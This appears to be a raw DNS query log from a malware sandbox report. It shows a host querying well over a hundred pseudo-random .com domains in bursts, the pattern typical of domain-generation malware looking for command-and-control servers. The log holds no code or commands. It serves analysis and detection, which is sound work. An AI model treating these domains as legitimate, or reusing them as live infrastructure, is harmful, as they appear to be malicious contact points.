                                                                                                                                                                                                          Nov 11, 2024 18:14:03.115113020 CET192.168.2.61.1.1.10xfbceStandard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.115159988 CET192.168.2.61.1.1.10x2ffbStandard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.116687059 CET192.168.2.61.1.1.10x353fStandard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725248098 CET192.168.2.61.1.1.10x367dStandard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725302935 CET192.168.2.61.1.1.10xd01cStandard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.725824118 CET192.168.2.61.1.1.10x1530Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.726454020 CET192.168.2.61.1.1.10x2f87Standard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727231026 CET192.168.2.61.1.1.10x3fedStandard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727617025 CET192.168.2.61.1.1.10xbae5Standard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.727749109 CET192.168.2.61.1.1.10xaa7fStandard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.728315115 CET192.168.2.61.1.1.10xe54cStandard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.730294943 CET192.168.2.61.1.1.10x177aStandard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.739013910 CET192.168.2.61.1.1.10x8705Standard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.742593050 CET192.168.2.61.1.1.10xdb7dStandard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.744281054 CET192.168.2.61.1.1.10x91e9Standard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.744750023 CET192.168.2.61.1.1.10x7d09Standard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.748967886 CET192.168.2.61.1.1.10x2b0aStandard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.765072107 CET192.168.2.61.1.1.10x6907Standard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.773086071 CET192.168.2.61.1.1.10xa335Standard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.779829025 CET192.168.2.61.1.1.10x8b7aStandard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.783617973 CET192.168.2.61.1.1.10x5a23Standard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.785326004 CET192.168.2.61.1.1.10x437aStandard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.787760019 CET192.168.2.61.1.1.10xe9b9Standard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.789154053 CET192.168.2.61.1.1.10xc962Standard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.791130066 CET192.168.2.61.1.1.10x30ebStandard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.793106079 CET192.168.2.61.1.1.10x872dStandard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.793482065 CET192.168.2.61.1.1.10xec4aStandard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.794636965 CET192.168.2.61.1.1.10x1232Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.795175076 CET192.168.2.61.1.1.10xc3ddStandard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831319094 CET192.168.2.61.1.1.10x6f88Standard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831765890 CET192.168.2.61.1.1.10xb178Standard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.831971884 CET192.168.2.61.1.1.10xdc7cStandard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.832165003 CET192.168.2.61.1.1.10x7f69Standard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.832477093 CET192.168.2.61.1.1.10x88f7Standard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.834511995 CET192.168.2.61.1.1.10x7eb6Standard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.834997892 CET192.168.2.61.1.1.10xd0e3Standard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835161924 CET192.168.2.61.1.1.10xc375Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835294962 CET192.168.2.61.1.1.10xaa84Standard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835453987 CET192.168.2.61.1.1.10xbad6Standard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835613012 CET192.168.2.61.1.1.10x68b7Standard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.835747957 CET192.168.2.61.1.1.10xae03Standard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836044073 CET192.168.2.61.1.1.10x88d6Standard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836245060 CET192.168.2.61.1.1.10x82f1Standard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836421967 CET192.168.2.61.1.1.10x1a72Standard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836729050 CET192.168.2.61.1.1.10x9813Standard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.836905003 CET192.168.2.61.1.1.10x6339Standard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837054014 CET192.168.2.61.1.1.10xe991Standard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837207079 CET192.168.2.61.1.1.10x1b2dStandard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837371111 CET192.168.2.61.1.1.10x2d72Standard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837559938 CET192.168.2.61.1.1.10x6ceeStandard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837817907 CET192.168.2.61.1.1.10x6707Standard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.837975025 CET192.168.2.61.1.1.10x6167Standard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.838387966 CET192.168.2.61.1.1.10xc61eStandard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.838537931 CET192.168.2.61.1.1.10x43f3Standard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.841815948 CET192.168.2.61.1.1.10x5372Standard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.842273951 CET192.168.2.61.1.1.10x4971Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.844564915 CET192.168.2.61.1.1.10x5e3Standard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.846040964 CET192.168.2.61.1.1.10x6ee7Standard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.865886927 CET192.168.2.61.1.1.10xec76Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866157055 CET192.168.2.61.1.1.10x7734Standard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866321087 CET192.168.2.61.1.1.10x9b75Standard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866336107 CET192.168.2.61.1.1.10x5206Standard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866517067 CET192.168.2.61.1.1.10x3554Standard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.866808891 CET192.168.2.61.1.1.10xcd0cStandard query (0)pujybev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.867002964 CET192.168.2.61.1.1.10xaf73Standard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.996392012 CET192.168.2.61.1.1.10xe0c1Standard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:04.996710062 CET192.168.2.61.1.1.10xd766Standard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.107526064 CET192.168.2.61.1.1.10x9cbeStandard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.112737894 CET192.168.2.61.1.1.10xecfbStandard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.112950087 CET192.168.2.61.1.1.10xd171Standard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.113291979 CET192.168.2.61.1.1.10x1aeeStandard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.117867947 CET192.168.2.61.1.1.10x5fffStandard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.123681068 CET192.168.2.61.1.1.10x3995Standard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.124139071 CET192.168.2.61.1.1.10x4499Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.127585888 CET192.168.2.61.1.1.10x104aStandard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.129592896 CET192.168.2.61.1.1.10xd031Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.130697012 CET192.168.2.61.1.1.10x32ffStandard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.131465912 CET192.168.2.61.1.1.10x7d8aStandard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.131668091 CET192.168.2.61.1.1.10xb71Standard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.132314920 CET192.168.2.61.1.1.10x895eStandard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133021116 CET192.168.2.61.1.1.10x1ea2Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133120060 CET192.168.2.61.1.1.10xaa76Standard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.133790016 CET192.168.2.61.1.1.10xa69dStandard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.134890079 CET192.168.2.61.1.1.10x49f5Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.155214071 CET192.168.2.61.1.1.10x9400Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.155849934 CET192.168.2.61.1.1.10xc44cStandard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.194150925 CET192.168.2.61.1.1.10x977cStandard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195485115 CET192.168.2.61.1.1.10xc46dStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195693016 CET192.168.2.61.1.1.10x8d05Standard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.195983887 CET192.168.2.61.1.1.10xb21Standard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196304083 CET192.168.2.61.1.1.10xaefdStandard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196496010 CET192.168.2.61.1.1.10xbb89Standard query (0)vofyzyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.196655035 CET192.168.2.61.1.1.10x2892Standard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.197279930 CET192.168.2.61.1.1.10x308aStandard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.197815895 CET192.168.2.61.1.1.10xf58aStandard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.199820995 CET192.168.2.61.1.1.10x1d1cStandard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.200067043 CET192.168.2.61.1.1.10x73dfStandard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.217153072 CET192.168.2.61.1.1.10x9a5cStandard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.217432022 CET192.168.2.61.1.1.10x2e1dStandard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.218523026 CET192.168.2.61.1.1.10x62d3Standard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.218719006 CET192.168.2.61.1.1.10xf179Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.219343901 CET192.168.2.61.1.1.10xfbcdStandard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.221718073 CET192.168.2.61.1.1.10x3603Standard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.226248026 CET192.168.2.61.1.1.10x5982Standard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.227822065 CET192.168.2.61.1.1.10xd16aStandard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228017092 CET192.168.2.61.1.1.10xbfc3Standard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:06.228056908 CET192.168.2.61.1.1.10xb099Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.297807932 CET192.168.2.61.1.1.10xcef3Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.300187111 CET192.168.2.61.1.1.10x514dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.301135063 CET192.168.2.61.1.1.10xb284Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.310075045 CET192.168.2.61.1.1.10x2e10Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.310739994 CET192.168.2.61.1.1.10xd86Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.311224937 CET192.168.2.61.1.1.10x81afStandard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.311671019 CET192.168.2.61.1.1.10x6835Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.312320948 CET192.168.2.61.1.1.10xb3eeStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.313481092 CET192.168.2.61.1.1.10x377cStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.315752983 CET192.168.2.61.1.1.10x5fb0Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.315989017 CET192.168.2.61.1.1.10xe457Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.318478107 CET192.168.2.61.1.1.10x5c0fStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.318609953 CET192.168.2.61.1.1.10x4809Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.319395065 CET192.168.2.61.1.1.10xb83cStandard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.319439888 CET192.168.2.61.1.1.10x835cStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.327330112 CET192.168.2.61.1.1.10xb3e3Standard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.329833984 CET192.168.2.61.1.1.10xaa0aStandard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.331269026 CET192.168.2.61.1.1.10xbffaStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.331861019 CET192.168.2.61.1.1.10x6ab7Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.332479000 CET192.168.2.61.1.1.10x851dStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.334216118 CET192.168.2.61.1.1.10xb30fStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.351394892 CET192.168.2.61.1.1.10x600dStandard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.363790035 CET192.168.2.61.1.1.10x541fStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364044905 CET192.168.2.61.1.1.10x423cStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364217043 CET192.168.2.61.1.1.10x86b1Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364329100 CET192.168.2.61.1.1.10x52b0Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364510059 CET192.168.2.61.1.1.10x7f46Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.364651918 CET192.168.2.61.1.1.10xe41eStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369400024 CET192.168.2.61.1.1.10xcaacStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369714975 CET192.168.2.61.1.1.10x4517Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369874954 CET192.168.2.61.1.1.10xfc77Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.369946003 CET192.168.2.61.1.1.10x7eaaStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370064974 CET192.168.2.61.1.1.10x326fStandard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370141983 CET192.168.2.61.1.1.10xd12fStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370249987 CET192.168.2.61.1.1.10xec37Standard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370316029 CET192.168.2.61.1.1.10x77f0Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370970964 CET192.168.2.61.1.1.10x5f57Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371392965 CET192.168.2.61.1.1.10xaafStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371628046 CET192.168.2.61.1.1.10xf887Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374277115 CET192.168.2.61.1.1.10xceafStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374516010 CET192.168.2.61.1.1.10xa33Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.375988007 CET192.168.2.61.1.1.10x2f04Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.376708984 CET192.168.2.61.1.1.10x9861Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377469063 CET192.168.2.61.1.1.10x549aStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377526999 CET192.168.2.61.1.1.10x295fStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377697945 CET192.168.2.61.1.1.10xb804Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377720118 CET192.168.2.61.1.1.10x26ffStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377888918 CET192.168.2.61.1.1.10xbcbaStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.389161110 CET192.168.2.61.1.1.10x7d79Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.389869928 CET192.168.2.61.1.1.10x365cStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390172005 CET192.168.2.61.1.1.10xd298Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390633106 CET192.168.2.61.1.1.10xb9bbStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390719891 CET192.168.2.61.1.1.10x359fStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390810966 CET192.168.2.61.1.1.10xc0f2Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390923977 CET192.168.2.61.1.1.10x57d1Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390973091 CET192.168.2.61.1.1.10x92ceStandard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.393615961 CET192.168.2.61.1.1.10xdafeStandard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394156933 CET192.168.2.61.1.1.10xa6aStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394202948 CET192.168.2.61.1.1.10xb237Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394395113 CET192.168.2.61.1.1.10xffdStandard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394469023 CET192.168.2.61.1.1.10xb58fStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.399776936 CET192.168.2.61.1.1.10xecaaStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404320955 CET192.168.2.61.1.1.10xa49cStandard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404335976 CET192.168.2.61.1.1.10xb8cfStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.864609957 CET192.168.2.61.1.1.10x29a9Standard query (0)www.gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.559526920 CET192.168.2.61.1.1.10xfd49Standard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.559528112 CET192.168.2.61.1.1.10x6c4Standard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.570791006 CET192.168.2.61.1.1.10xc990Standard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.571510077 CET192.168.2.61.1.1.10xb15eStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.574357986 CET192.168.2.61.1.1.10xdc10Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.575880051 CET192.168.2.61.1.1.10x82dcStandard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.575880051 CET192.168.2.61.1.1.10x6c71Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.576816082 CET192.168.2.61.1.1.10xed9fStandard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.577622890 CET192.168.2.61.1.1.10x8acdStandard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.577775002 CET192.168.2.61.1.1.10x4a5aStandard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.578773975 CET192.168.2.61.1.1.10x4ab2Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
